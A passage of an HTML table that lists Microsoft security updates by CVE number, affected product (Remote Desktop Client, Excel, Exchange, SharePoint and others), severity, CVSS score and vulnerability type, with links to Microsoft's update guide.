  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
